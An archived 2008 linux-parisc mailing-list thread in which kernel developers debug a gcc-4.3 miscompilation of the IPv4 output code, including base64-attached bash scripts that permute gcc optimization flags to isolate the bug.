	id S1753679AbYE1UAh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 16:00:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753669AbYE1UAh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 16:00:37 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:47340 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753679AbYE1UAg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 16:00:36 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id C5B7A17806E; Wed, 28 May 2008 16:00:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080528190946.GA30501@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:347
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/347>

On Wed, May 28, 2008 at 03:09:46PM -0400, Kyle McMartin wrote:
> So I've narrowed the regression down to a miscompilation (presumably) of
> net/ipv4/ip_output.o, in the sense that
> 
> 	cp linux-2.6-gcc34/net/ipv4/ip_output.o
> 		linux-2.6-gcc43/net/ipv4/ip_output.o
> 	touch linux-2.6-gcc43/net/ipv4/ip_output.o
> 	make vmlinux
> 
> fixes the issue.
> 

Apparently I was on glue and gcc-4.2 is not problematic.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 18:55:29 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440805281555n7d16c1ccn4a2d73f267c3b686@mail.gmail.com>
References: <20080528190946.GA30501@phobos.i.cabal.ca>
	 <20080528200035.GB30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212015341 15761 80.91.229.12 (28 May 2008 22:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 22:55:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 00:56:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1UZ9-0003JO-Qa
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 00:56:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753355AbYE1Wzb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 18:55:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753607AbYE1Wzb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 18:55:31 -0400
Original-Received: from py-out-1112.google.com ([64.233.166.177]:32304 "EHLO
	py-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753355AbYE1Wza (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 18:55:30 -0400
Original-Received: by py-out-1112.google.com with SMTP id p76so2574315pyb.10
        for <linux-parisc@vger.kernel.org>; Wed, 28 May 2008 15:55:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=B3fyhdVpwcu3x1ZbkZCHSi5LKvmnu1Z+PWOBu+pOjp4=;
        b=hFyIQThH/Joq30a7+1RiMsr+5FyWdea3FwW/MT5e27nyd9hbrgSwQW9ZeA0gvE1mkYelgOUA7ZP3rFzWggxB64T7iSHxwQwnCj5CyjkiWqTdmqe1MxSW86Mx/bkUhNOp7sX9IgXLeJ6sHDu1Bu8W180STwDMvZtI3MXaPuXel4I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=KLXiZaJkZMDI8TDMXUelK/F98gj9080MuZdG4muQBaTKu/a1I6UGBC7INEt3ah7MQD4qpXtg4O44ukbj/+Sa0PKfC+loZcPoXZjvetERj5nnvRylkyYkhfaspzG2WlG2sl77MMiNP9aEDV5xmGTOtLbRE8XXVAHZdAv77dnoupY=
Original-Received: by 10.114.12.9 with SMTP id 9mr3491398wal.23.1212015329599;
        Wed, 28 May 2008 15:55:29 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Wed, 28 May 2008 15:55:29 -0700 (PDT)
In-Reply-To: <20080528200035.GB30501@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 16d1f46bf50da979
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/348>

On Wed, May 28, 2008 at 4:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Wed, May 28, 2008 at 03:09:46PM -0400, Kyle McMartin wrote:
>> So I've narrowed the regression down to a miscompilation (presumably) of
>> net/ipv4/ip_output.o, in the sense that
>>
>>       cp linux-2.6-gcc34/net/ipv4/ip_output.o
>>               linux-2.6-gcc43/net/ipv4/ip_output.o
>>       touch linux-2.6-gcc43/net/ipv4/ip_output.o
>>       make vmlinux
>>
>> fixes the issue.
>>
>
> Apparently I was on glue and gcc-4.2 is not problematic.

If you compile ip_output.c with -O0 does it work with gcc-4.3?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 19:00:25 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20080528230025.GC30501@phobos.i.cabal.ca>
References: <20080528190946.GA30501@phobos.i.cabal.ca> <20080528200035.GB30501@phobos.i.cabal.ca> <119aab440805281555n7d16c1ccn4a2d73f267c3b686@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212015635 16601 80.91.229.12 (28 May 2008 23:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 23:00:35 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 01:01:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1Udt-0004GW-WD
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 01:01:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753322AbYE1XA0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 19:00:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753801AbYE1XA0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 19:00:26 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:48633 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753322AbYE1XA0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 19:00:26 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 58DA517806E; Wed, 28 May 2008 19:00:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440805281555n7d16c1ccn4a2d73f267c3b686@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/349>

On Wed, May 28, 2008 at 06:55:29PM -0400, Carlos O'Donell wrote:
> On Wed, May 28, 2008 at 4:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > On Wed, May 28, 2008 at 03:09:46PM -0400, Kyle McMartin wrote:
> >> So I've narrowed the regression down to a miscompilation (presumably) of
> >> net/ipv4/ip_output.o, in the sense that
> >>
> >>       cp linux-2.6-gcc34/net/ipv4/ip_output.o
> >>               linux-2.6-gcc43/net/ipv4/ip_output.o
> >>       touch linux-2.6-gcc43/net/ipv4/ip_output.o
> >>       make vmlinux
> >>
> >> fixes the issue.
> >>
> >
> > Apparently I was on glue and gcc-4.2 is not problematic.
> 
> If you compile ip_output.c with -O0 does it work with gcc-4.3?
> 

Building the kernel without optimization is very tetchy... if you can
guess what passes to remove, I can try... one of the optimization
effects that must go is DCE though, otherwise we'll have undefined
references to things (ie: kmalloc_too_much in a switch that should have
been eliminated except the constant case.)

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 19:37:14 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <119aab440805281637x722fd461n335a49aaa41c8a2c@mail.gmail.com>
References: <20080528190946.GA30501@phobos.i.cabal.ca>
	 <20080528200035.GB30501@phobos.i.cabal.ca>
	 <119aab440805281555n7d16c1ccn4a2d73f267c3b686@mail.gmail.com>
	 <20080528230025.GC30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_17919_23051230.1212017834995"
X-Trace: ger.gmane.org 1212017844 21872 80.91.229.12 (28 May 2008 23:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 23:37:24 +0000 (UTC)
To: "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 01:38:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1VDY-0003nc-Ro
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 01:38:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753567AbYE1XhR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 19:37:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753607AbYE1XhR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 19:37:17 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.237]:47400 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753567AbYE1XhP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 19:37:15 -0400
Original-Received: by rv-out-0506.google.com with SMTP id l9so3771766rvb.1
        for <linux-parisc@vger.kernel.org>; Wed, 28 May 2008 16:37:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
        bh=zo7UQCiz572Bxl8SrGdJWUTpgm3iawcrPVWMia7dhBY=;
        b=WOx39v6zYqwGclFiOqg9IiZjX6cHubUqIjSmxfvzsyZ6ZSRovtFONMCrG4p5N1trCvEJyjsrdRvAKu5rQ8wVy7BjmmFdphatexdWJSsHY89tqOsUBcLG7mj/4ERT9KaGqQ2QmCUp57E5czavMpPdF/26F2G6iex+oQ9XpgqMhw4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
        b=DS8zsXlMYUo0z4NsOE6lAK6n/PHdhHRkdx/cEujsNQXRgQ9mvVttymwiDUeLAcOzemfwx3FungSu+CkQIf8LUQaJU78V/d1mSoUcQu467LJRGo2LpgZs62z5KYpKBos7TwEj4LHk5tyEvf/RPJVOTyXIFTfOS3gb3/rsWCgPXHQ=
Original-Received: by 10.115.33.1 with SMTP id l1mr3476379waj.228.1212017834996;
        Wed, 28 May 2008 16:37:14 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Wed, 28 May 2008 16:37:14 -0700 (PDT)
In-Reply-To: <20080528230025.GC30501@phobos.i.cabal.ca>
X-Google-Sender-Auth: ed384799ce7e56a4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/350>

------=_Part_17919_23051230.1212017834995
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Wed, May 28, 2008 at 7:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> Building the kernel without optimization is very tetchy... if you can
> guess what passes to remove, I can try... one of the optimization
> effects that must go is DCE though, otherwise we'll have undefined
> references to things (ie: kmalloc_too_much in a switch that should have
> been eliminated except the constant case.)

You *need* to build the kernel with -fno-dce and -fno-tree-dce?
Are you working around another compiler bug?

Take a look at the attached scripts I use.

./o2list.sh > o2list.txt
./permute-options.sh o2list.txt > run.sh
chmod u+x
run.sh

Normally I can simply run the results on a target and
know which is good and which is bad. Unfortunately
you have to link each into a kernel and try to boot.

Cheers,
Carlos.

------=_Part_17919_23051230.1212017834995
Content-Type: application/x-sh; name=o2list.sh
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fgsjqb7j0
Content-Disposition: attachment; filename=o2list.sh

IyEvYmluL2Jhc2gKCiMgT3B0aW1pemF0aW9ucyBhdCAtTzIKbzJmbGFncz0oIi1mdGhyZWFkLWp1
bXBzIgoJIi1mY3Jvc3NqdW1waW5nIlwKCSItZm9wdGltaXplLXNpYmxpbmctY2FsbHMiXAoJIi1m
Y3NlLWZvbGxvdy1qdW1wcyJcCgkiLWZjc2Utc2tpcC1ibG9ja3MiXAoJIi1mZ2NzZSJcCgkiLWZl
eHBlbnNpdmUtb3B0aW1pemF0aW9ucyJcCgkiLWZpcGEtdHlwZS1lc2NhcGUiXAoJIi1mc3RyZW5n
dGgtcmVkdWNlIlwKCSItZnJlcnVuLWNzZS1hZnRlci1sb29wIlwKCSItZnJlcnVuLWxvb3Atb3B0
IlwKCSItZmNhbGxlci1zYXZlcyJcCgkiLWZwZWVwaG9sZTIiXAoJIi1mc2NoZWR1bGUtaW5zbnMi
XAoJIi1mc2NoZWR1bGUtaW5zbnMyIlwKCSItZnJlZ21vdmUiXAoJIi1mc3RyaWN0LWFsaWFzaW5n
IlwKCSItZmRlbGV0ZS1udWxsLXBvaW50ZXItY2hlY2tzIlwKCSItZnJlb3JkZXItYmxvY2tzIlwK
CSItZnJlb3JkZXItZnVuY3Rpb25zIlwKCSItZnRyZWUtc3RvcmUtY2NwIlwKCSItZnRyZWUtc3Rv
cmUtY29weS1wcm9wIlwKCSItZnRyZWUtdnJwIlwKCSItZnRyZWUtcHJlIikKCnByZWZpeD0iJDEi
CnBvc3RmaXg9IiQyIgoKIyAxIGF0IGF0aW1lLgpmb3Igb3B0aW9uIGluICR7bzJmbGFnc1tAXX07
IGRvCiAgZWNobyAkcHJlZml4ICRvcHRpb24gJHBvc3RmaXgKZG9uZTsKCiMgMSBhdCBhIHRpbWUg
YWRkaW5nLgpvcHRpb25zPSIiCmZvciBvcHRpb24gaW4gJHtvMmZsYWdzW0BdfTsgZG8KICBvcHRp
b25zPSIkb3B0aW9ucyAkb3B0aW9uIgogIGVjaG8gJHByZWZpeCAkb3B0aW9ucyAkcG9zdGZpeApk
b25lCgo=
------=_Part_17919_23051230.1212017834995
Content-Type: application/x-sh; name=permute-build.sh
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fgsjrdb21
Content-Disposition: attachment; filename=permute-build.sh

IyEvYmluL2Jhc2gKCmlmIFsgJCMgLW5lICIxIiBdOyB0aGVuCiAgICBlY2hvICIkMDogPEZsYWcg
ZmlsZT4iCiAgICBleGl0IDEKZmkKCmZsYWdmaWxlPSIkMSIKbzFmbGFncz0oIi1mZGVmZXItcG9w
IlwKCSItZmRlbGF5ZWQtYnJhbmNoIlwKCSItZm9taXQtZnJhbWUtcG9pbnRlciJcCgkiLWZndWVz
cy1icmFuY2gtcHJvYmFiaWxpdHkiXAoJIi1mY3Byb3AtcmVnaXN0ZXJzIlwKCSItZmxvb3Atb3B0
aW1pemUiXAoJIi1maWYtY29udmVyc2lvbiJcCgkiLWZpZi1jb252ZXJzaW9uMiJcCgkiLWZpcGEt
cHVyZS1jb25zdCJcCgkiLWZpcGEtcmVmZXJlbmNlIlwKCSItZnRyZWUtY2NwIlwKCSItZnRyZWUt
ZGNlIlwKCSItZnRyZWUtZG9taW5hdG9yLW9wdHMiXAoJIi1mdHJlZS1kc2UiXAoJIi1mdHJlZS10
ZXIiXAoJIi1mdHJlZS1scnMiXAoJIi1mdHJlZS1zcmEiXAoJIi1mdHJlZS1jb3B5cmVuYW1lIlwK
CSItZnRyZWUtZnJlIlwKCSItZnRyZWUtY29weS1wcm9wIlwKCSItZnRyZWUtc2luayJcCgkiLWZ0
cmVlLXNhbGlhcyJcCgkiLWZ1bml0LWF0LWEtdGltZSJcCgkiLWZ0cmVlLWNoIlwKCSItZm1lcmdl
LWNvbnN0YW50cyJcCgkiLWZhbGlnbi1sb29wcyJcCgkiLWZhbGlnbi1qdW1wcyJcCgkiLWZhbGln
bi1sYWJlbHMiXAoJIi1mYWxpZ24tZnVuY3Rpb25zIlwKCSItZnJlb3JkZXItYmxvY2tzIlwKCSIt
ZnJlb3JkZXItYmxvY2tzLWFuZC1wYXJ0aXRpb24iKQoKcHJlZml4PSJhcm0tbm9uZS1saW51eC1n
bnVlYWJpLSIKY2M9IiR7cHJlZml4fWdjYyIKbzFmPSIke28xZmxhZ3NbQF19IgpjZmxhZ3M9Ii1z
dGF0aWMgLWciCmNvdW50PSIxIgpvdXRwdXQ9InNhbXBsZSIKaW5wdXQ9InNhbXBsZS5jIgoKcnVu
X2NvbXBpbGUoKSB7CiAgICBsb2NhbCBvMWY9IiQxIgogICAgbG9jYWwgY291bnQ9IiQyIgogICAg
bG9jYWwgcG9zdGZpeD0iJDMiCiAgICB3aGlsZSBbIHRydWUgXTsgZG8KICAgICAgICByZWFkIGZs
YWdzCiAgICAgICAgaWYgWyAhIC16ICIkZmxhZ3MiIF07IHRoZW4KCSAgICBlY2hvICJlY2hvIENv
bXBpbGUgJHtvdXRwdXR9JHtjb3VudH0ke3Bvc3RmaXh9IC4uLiIKICAgICAgICAgICAgZWNobyAi
JGNjICRjZmxhZ3MgJG8xZiAkZmxhZ3MgLW8gJHtvdXRwdXR9JHtjb3VudH0ke3Bvc3RmaXh9ICR7
aW5wdXR9ID4mIC9kZXYvbnVsbCIKICAgICAgICBlbHNlCgkgICAgZWNobyAiZWNobyBEb25lLiIK
ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZmkKICAgICAgICBjb3VudD0kKCgkY291bnQrMSkp
CiAgICBkb25lIDwgJGZsYWdmaWxlCn0KCiMgRmlyc3QgcnVuOiBUdXJuIG9uIGFsbCAtTzEgZmxh
Z3MsIGFuZCBwZXJtdXRlIC1PMiBmbGFncy4KIyBHQ0Mgd2lsbCBoYXZlIHNldCBvcHRpbWl6ZSA9
PSAwLgpydW5fY29tcGlsZSAiJG8xZiIgIiRjb3VudCIgIi1vcHQwIgojIFNlY29uZCBydW4gdGhy
b3VnaCB3aXRoIC1PMSBvbiwgYW5kIC1PMiBmbGFnIHBlcm11dGF0aW9uLgojIEdDQyB3aWxsIGhh
dmUgc2V0IG9wdGltaXplID09IDEKcnVuX2NvbXBpbGUgIi1PMSIgIiRjb3VudCIgIi1vcHQxIgoK

------=_Part_17919_23051230.1212017834995--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 19:41:10 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20080528234110.GD30501@phobos.i.cabal.ca>
References: <20080528190946.GA30501@phobos.i.cabal.ca> <20080528200035.GB30501@phobos.i.cabal.ca> <119aab440805281555n7d16c1ccn4a2d73f267c3b686@mail.gmail.com> <20080528230025.GC30501@phobos.i.cabal.ca> <119aab440805281637x722fd461n335a49aaa41c8a2c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212018080 22421 80.91.229.12 (28 May 2008 23:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 23:41:20 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 01:42:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1VHL-0004it-Uu
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 01:42:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753638AbYE1XlM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 19:41:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753570AbYE1XlM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 19:41:12 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:51132 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753490AbYE1XlL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 19:41:11 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 51CFA17806E; Wed, 28 May 2008 19:41:10 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440805281637x722fd461n335a49aaa41c8a2c@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/351>

On Wed, May 28, 2008 at 07:37:14PM -0400, Carlos O'Donell wrote:
> On Wed, May 28, 2008 at 7:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > Building the kernel without optimization is very tetchy... if you can
> > guess what passes to remove, I can try... one of the optimization
> > effects that must go is DCE though, otherwise we'll have undefined
> > references to things (ie: kmalloc_too_much in a switch that should have
> > been eliminated except the constant case.)
> 
> You *need* to build the kernel with -fno-dce and -fno-tree-dce?
> Are you working around another compiler bug?
> 
> Take a look at the attached scripts I use.
> 
> ./o2list.sh > o2list.txt
> ./permute-options.sh o2list.txt > run.sh
> chmod u+x
> run.sh
> 
> Normally I can simply run the results on a target and
> know which is good and which is bad. Unfortunately
> you have to link each into a kernel and try to boot.
> 

Other way around... we *need* dce (but apparnetly not on this file)
because of inline constructs like

	switch (sizeof(some constant)) {
	1:
		blah;
	default:
		some_undefined_reference();
	}

Ah well, anyway, it works built at -O0, and buggers up at -O1.

Want a copy of each of the .S?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 20:00:58 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20080529000059.9C6434E77@hiauly1.hia.nrc.ca>
References: <20080528234110.GD30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212019272 25000 80.91.229.12 (29 May 2008 00:01:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 00:01:12 +0000 (UTC)
Cc: carlos@systemhalted.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 02:01:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1VaY-0008Sk-Vi
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 02:01:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751303AbYE2ABD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 20:01:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751452AbYE2ABD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 20:01:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2544 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751303AbYE2ABB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 20:01:01 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9C6434E77; Wed, 28 May 2008 20:00:59 -0400 (EDT)
In-Reply-To: <20080528234110.GD30501@phobos.i.cabal.ca> from "Kyle McMartin" at May 28, 2008 07:41:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:352
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/352>

> Ah well, anyway, it works built at -O0, and buggers up at -O1.
> 
> Want a copy of each of the .S?

I think it would be useful to know if this is still present in 4.3 branch
head.  Unless we know which routine the problem is in, comparing .s files
is tough.

I'm busy until just before the summit.

Dave
-- 
